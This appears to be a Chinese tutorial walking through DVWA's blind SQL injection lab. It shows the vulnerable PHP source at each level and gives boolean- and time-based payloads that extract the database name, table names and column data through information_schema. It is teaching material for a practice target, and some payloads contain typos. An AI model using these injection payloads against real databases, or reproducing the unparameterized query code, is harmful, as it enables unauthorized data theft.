DVWA SQL Injection (Blind) 全等级分析与实践: – 作者:wakemeup

SQL Injection (Blind) SQL 盲注

盲注:用户可以控制输入但是页面没有回显

盲注分为三类:基于布尔SQL盲注、基于时间的SQL盲注、基于报错的SQL盲注。

盲注思路步骤:

判断是否存在注入,注入是字符型还是数字型

猜解当前数据库名

猜解数据库中的表名

猜解表中的字段名

猜解数据

LOW:

查看源码:

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Get input
    $id = $_GET[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>


分析:
使用GET类型传参,对用户输入没有过滤,页面无回显

判断注入类型:

输入1
image.png
判断字符型还是数字型:
0 or 1 :User ID is MISSING from the database.
image.png
0 ‘ 0r 1#:User ID exists in the database.
image.png
由此可以判断是字符型:

总之数字型注入不需要使用单引号闭合前面的单引号就可以执行SQL语句,而字符型必须闭合前面的单引号,然后才可以执行SQL语句,同时也需要把后面的单引号闭合,而注释就是很好的一种闭合后面的单引号的方法。

猜数据库名

1 ‘ and length(database()) =3#
image.png
1 ‘ and length(database()) =4#
image.png

判断出库名的长度为4

继续猜解数据库名
首先讲一下用到的函数:

database()
该函数可以显示当前正在使用的数据库库名。

substr()
这个函数很常用,有三个参数,按顺序分别是字符串,起始位置和长度。可以求指定字符串的子串。当然,第一个参数可以是列的名字。这个函数似乎和mid没有什么不同,如果mid或者substr中的某一个函数被禁了就用另一个。

ord()
该函数用于获得某个字符串最开始的字符的ASCII值。

ascii()
目前未发现与ord的不同。不过这样也有很大好处,那就是,如果SQL注入的题目中过滤了or,ord函数,可以用ascii函数替代。

举个例子:
ascii(substr(‘admin’,1,1))
这两个函数结合使用时,作用是返回“Admin”第一个字符的ASCII码值

我们后面就是将函数结合使用
比如:ascii(substr(databse(),1,1))
作用是:返回当前在使用的数据库名的第一个字符的
ASCII码值

讲完了函数,下面开始实际使用:
1’ and ascii(substr(databse(),1,1))>97 #
image.png
显示存在,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值)

1’ and ascii(substr(databse(),1,1))<99 #
image.png
显示不存在,说明数据库名的第一个字符的ascii值不小于99(小写字母c的ascii的值)

1’ and ascii(substr(databse(),1,1))=100#
image.png
显示存在,说明数据库名的第一个字符的ascii值等于100(小写字母d的ascii的值)

1’ and ascii(substr(databse(),2,2))=118#
image.png

由此推断数据库名称的第一个字母是d,第二个字母是v,同理推断下去,可知数据库名为dvwa。

猜解表数

首先介绍用到的参数

1.【information_schema 数据库】 是MySQL自带的,它提供了访问数据库 元数据 的方式。什么是 元数据 呢?元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。
有些时候用于表述该信息的其他术语包括“数据词典”和“系统目录”。
在MySQL中,把【information_schema】 看作是一个数据库,确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。

2.SQL COUNT(*) 语法
COUNT(*) 函数返回表中的记录数:

SELECT COUNT(*) FROM table_name

1′ and (select count() from information_schema.tables where table_schema =”dvwa”)>2#
image.png
1′ and (select count() from information_schema.tables where table_schema =”dvwa”)=2#
image.png

说明有2个表

猜解表名

先判断第一个表名的长度
1′ and length(substr((select table_name from information_schema.tables where table_schema=”dvwa” limit 0,1),1))>10 #
image.png
不存在,说明第一个表名的长度<10

1′ and length(substr((select table_name from information_schema.tables where table_schema=”dvwa” limit 0,1),1))=9 #
image.png
存在,说明第一个表名的长度=9(所以盲注很耗时间啊,要猜出9个字符,组合起来)

两个表表,这里先猜第一个表的表名
1′ and ascii(substr((select table_name from information_schema.tables where table_schema=”dvwa” limit 0,1),1,1))=103 #

1′ and ascii(substr((select table_name from information_schema.tables where table_schema=”dvwa” limit 0,1),2,1))=117 #
存在,说明猜对了,u对应的ascii码是117
image.png
太费时间了,登录后台看一下吧
image.png

布尔盲注思路总结:
猜当前库的长度
?id=1 and length(database())>猜的数 --+

猜当前库名
?id=1 and ascii(substr(database(),i,1))>猜的数 --+
其中i为库名的第i个字符

猜库的表数
?id=1 and (select count(*) from information_schema.tables where table_schema = "上一步得到的库名")>猜的数 --+

猜表名
?id=1 and  ascii(substr((select table_name from information_schema.tables where table_schema="库名" limit i,1),j,1))>猜的数--+
其中 i 为第 i 个表;j 为 第 i 个表的第 j 个字母

之后的猜列数、猜字段名流程都一样,只需改动
select (1) from information_schema.(2) where (3) 的三处内容即可。
(1)处(2)处要对应一致,(3)处高于(1),(2)处一级。

猜列的具体内容
?id=1 and ascii(substr((select concat(列名) from 表名 limit 0,1),1,1))>猜的数
Medium:

查看源码:

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    //mysql_close();
}

?>


源码分析:
改为POST类型传参,同样页面无回显
利用mysql_real_escape_string函数对特殊符号进行转义

这次试一试时间注入吧

if (ascii(substr(user(),1,1))=100,sleep(5),0)
and if(what?,1,sleep(5))
如果BOOL表达式正确,页面返回将延迟5秒,否则页面出错。

先抓包:
image.png
修改参数:
1 and if(length(database())=1,sleep(5),1) #
image.png
没有延时5秒

1 and if(length(database())=4,sleep(5),1) #
image.png

明显延时5秒,说明库名长度为4,大家可以自行感受延时

只感受一下延时注入,不试了

High:
查看源码:

<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
    // Get input
    $id = $_COOKIE[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Might sleep a random amount
        if( rand( 0, 5 ) == 3 ) {
            sleep( rand( 2, 4 ) );
        }

        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>


源码分析:
High级别的代码利用cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。同时在 SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。

1’ and length(database())=3 #
image.png

1’ and length(database())=4 #
image.png

简单尝试

Impossible:

与SQL注入靶场一样,验证token防御CSRF,检测id是否为数字,PDO预编译防止sql注入

来源:freebuf.com 2021-06-27 21:17:02 by: wakemeup

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论